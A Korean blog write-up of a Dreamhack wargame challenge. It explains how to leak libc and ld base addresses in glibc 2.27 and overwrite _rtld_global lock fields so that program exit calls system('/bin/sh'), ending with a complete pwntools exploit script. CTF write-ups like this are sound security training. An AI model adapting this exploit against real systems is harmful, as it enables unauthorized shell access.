코드는 간단하다
stdout@@GLIBC_2.2.5 에 담긴 값을 출력해주고 (= _IO_2_1_stdout_ , 라이브러리에 위치)
원하는 주소에 8 byte를 반복적으로 쓸 수 있다
shell 실행시켜주는 함수는 딱히 보이지 않는다
배경지식
1. 라이브러리와 로더가 맵핑된 주소의 간격은 일정하다. 디버깅을 통해 offset 구해놓을 수 있다
0x7fac45f35000 0x7fac4611c000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
~~~
0x7fac46326000 0x7fac4634d000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
~~~
- ld_base - libc_base = 0x3f1000 (원격 서버 환경의 ow_rtld 바이너리에서)
2. Dockerfile로 도커 이미지 생성 시 현재 context에 ld파일/libc파일이 존재하면 해당 이미지로 구현한 도커 컨테이너 내부의 default 로더 파일/라이브러리 파일로 해당 파일들을 사용한다
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ md5sum ld-2.27.so
ecedcc8d1cac4f344f2e2d0564ff67ab ld-2.27.so
root@91f110b2f467:/home/ow_rtld$ md5sum /lib64/ld-linux-x86-64.so.2
ecedcc8d1cac4f344f2e2d0564ff67ab /lib64/ld-linux-x86-64.so.2
- (가상 환경에서) 바이너리에 로드되는 라이브러리 파일과 호스트 환경의 라이브러리 파일의 md5 값 같음
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ md5sum ./libc-2.27.so
50390b2ae8aaa73c47745040f54e602f ./libc-2.27.so
root@91f110b2f467:/home/ow_rtld$ md5sum /lib/x86_64-linux-gnu/libc-2.27.so
50390b2ae8aaa73c47745040f54e602f /lib/x86_64-linux-gnu/libc-2.27.so
- (가상 환경에서) 바이너리에 로드되는 로더 파일과 호스트 환경의 로더 파일의 md5 값 같음
=> offset 동일하므로 원격 서버와 동일한 환경에서 분석 가능!
3. main 함수 에필로그 후 코드 흐름: main함수 종료 -> __libc_start_main로 리턴 ->__libc_start_main에서 __GI_exit 호출 -> __GI_exit 내부에서 __run_exit_handlers 호출 -> _dl_fini 호출 -> _dl_fini 내부에서 __rtld_lock_recursive (GL(dl_load_lock)); 발생
_rtld_global 구조체의 멤버 변수인 __rtld_lock_recursive (함수 포인터)
_rtld_global 구조체의 멤버 변수인 _dl_load_lock (구조체)
** Glibc 2.34 이전 버전에서만 통함, _rtld_global 구조체 영역에는 읽기 / 쓰기 권한 존재
=> 이 둘을 overwrite하면 system("/bin/sh") 호출할 수 있다 / one-shot gadget 사용 가능하다
풀이
- 디버거에서 info var _IO_2_1_stdout_ / vmmap 이용해 _IO_2_1_stdout_의 libc offset 구한다 = 0x3ec760
// libc.symbols['_IO_2_1_stdout_'] 이렇게 구해도 됨
- 라이브러리 상세 버전 확인 후 (glibc 2.27-3ubuntu1) 해당 버전의 libc6-dbg 패키지 다운로드
root@91f110b2f467:/home/ow_rtld$ /lib/x86_64-linux-gnu/libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
$ wget http://launchpadlibrarian.net/365856914/libc6-dbg_2.27-3ubuntu1_amd64.deb
- usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 분석하여 _rtld_global 구조체의 두 멤버 offset을 구한다
pwndbg> p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x228968 <_rtld_local+2312>
pwndbg> p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x228f60 <_rtld_local+3840>
// ld_base로부터 0x228968 , _rtld_global 구조체로부터는 2312 만큼 떨어져있
- system 함수의 offset 구한다
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ nm -D ./libc-2.27.so | grep system
000000000004f440 T __libc_system@@GLIBC_PRIVATE
0000000000159e20 T svcerr_systemerr@@GLIBC_2.2.5
000000000004f440 W system@@GLIBC_2.2.5
// 디버거를 이용하거나, libc.symbols['system'] 으로 구해도 됨
cf) 문자열의 경우
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/overwrite_rtl_global$ strings -a -t x ./libc-2.27.so | grep /bin/sh
1b3e9a /bin/sh
혹은 next(libc.search(b'/bin/sh')) , list(libc.search(b'/bin/sh'))[0]
exploit 코드
from pwn import *
p = remote("host3.dreamhack.games", 15127)
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] # 0x3ec760\
ld_base = libc_base + 0x3f1000
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_rtld_lock_recursive = rtld_global + 3840 # lb_base + 0x228f60
dl_load_lock = rtld_global + 2312 # lb_base + 0x228968
system = libc_base + libc.symbols['system']
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("data: ", str(system))
p.sendlineafter("> ", "1")
p.sendlineafter("addr: ", str(dl_load_lock))
p.sendlineafter("data: ", str(u64("/bin/sh\x00"))) # scanf("%ld")로 입력받기에 저장되면서 little endian 방식으로 뒤바뀔 것
p.sendlineafter("> ", "2")
p.interactive()
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] rtld (0) | 2023.06.22 |
---|---|
[Dreamhack Wargame] environ (0) | 2023.06.22 |
[Dreamhack Wargame] master_canary (level2) (0) | 2023.06.20 |
Dockerfile을 이용해 CTF 문제 환경 구성하기 (2) | 2023.06.19 |
[Dreamhack Wargame] seccomp (0) | 2023.06.18 |